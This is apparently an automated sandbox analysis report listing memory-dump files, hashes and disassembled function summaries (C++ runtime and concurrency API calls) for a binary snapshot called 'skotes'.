Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 92a272fdc8aa2ec3452519bfa168040986080c61772ba36802996fdba4870fcf
Instruction ID: 751aecadad6820f47dacd0886a98c2d346a8d4ec0981c3843212bb3500d49f7e
Opcode Fuzzy Hash: 92a272fdc8aa2ec3452519bfa168040986080c61772ba36802996fdba4870fcf
Instruction Fuzzy Hash: D5217170C14215AADF24DFA4E4556EEBBF1FF14320F140569E851A61D1EF718AC5CB70

Function 00D467A9 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00D46902
__alloca_probe_16.LIBCMT ref: 00D46998
__freea.LIBCMT ref: 00D46A03
__freea.LIBCMT ref: 00D46A0F

Strings

?]&$, xrefs: 00D467B1

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID: ?]&$
API String ID: 1635606685-313912829
Opcode ID: d04bd28833074367442436975d790d0f60f76876698fc367d7cd4586313b8e20
Instruction ID: e4715d5d2f625fb227f3039c8d5873a31caabc7f19440d65114087793f64217c
Opcode Fuzzy Hash: d04bd28833074367442436975d790d0f60f76876698fc367d7cd4586313b8e20
Instruction Fuzzy Hash: 6681B072D0065AABDF209FA48882AEF7BB5DF4B714F194056E942B7281D731CC44CBB2

Function 00D02EC0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00D02F5F
GetCurrentThreadId.KERNEL32 ref: 00D02F7E
__Mtx_unlock.LIBCPMT ref: 00D02FCC
__Cnd_broadcast.LIBCPMT ref: 00D02FE3

Strings

?]&$, xrefs: 00D02ED7, 00D03203

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID: ?]&$
API String ID: 3264154886-313912829
Opcode ID: fa8bd4bbf28f6c729df5f4a94d783f048427f1affefe00d9dcb3f0ba5a4dbc33
Instruction ID: 722c4809109280f5411e9dc2310ec7a456a7e200c9039cb2a253ca8170c11273
Opcode Fuzzy Hash: fa8bd4bbf28f6c729df5f4a94d783f048427f1affefe00d9dcb3f0ba5a4dbc33
Instruction Fuzzy Hash: 2941E3B0A02215AFDB20DF65D9457AAB7F8FF14360F044529E81AD7790EB35EA04CBB1

Function 00D31B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00D31B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D31B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D31C2A

Strings

switchState, xrefs: 00D31B5E
pContext, xrefs: 00D31C22

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 63d08d95eaba9bd324eb42f13b5671b1540bb90f83f457e2fd1a4555d0c63702
Instruction ID: d297ef2a9f9fe7bce4f8f1713c474a0dca199e38aabe7da8aec7268144ebd99d
Opcode Fuzzy Hash: 63d08d95eaba9bd324eb42f13b5671b1540bb90f83f457e2fd1a4555d0c63702
Instruction Fuzzy Hash: 2F31A339A40215AFCF05EF64C881AADF7B5FF55310F244569ED1197282EB71EE05CAB0

Function 00D1BB72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00D1BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00D1BBE4
_xtime_get.LIBCPMT ref: 00D1BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00D1BC13

Strings

?]&$, xrefs: 00D1BB78

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID: ?]&$
API String ID: 531285432-313912829
Opcode ID: b32babbb4a6e233ea9eae923feba66a0a1f862d7e9181f02cc0258f9fa649f93
Instruction ID: 74201c952cffb2efb4521c76fad45315922864046576dc1d392d3b64b75d9b81
Opcode Fuzzy Hash: b32babbb4a6e233ea9eae923feba66a0a1f862d7e9181f02cc0258f9fa649f93
Instruction Fuzzy Hash: A5211D71A11219BFDF00EBA4E8859FEBBB9EF08710F101056F901A7261DF349D419BB1

Function 00D2A026 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 00D2A069

Part of subcall function 00D2B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 00D2B5AF

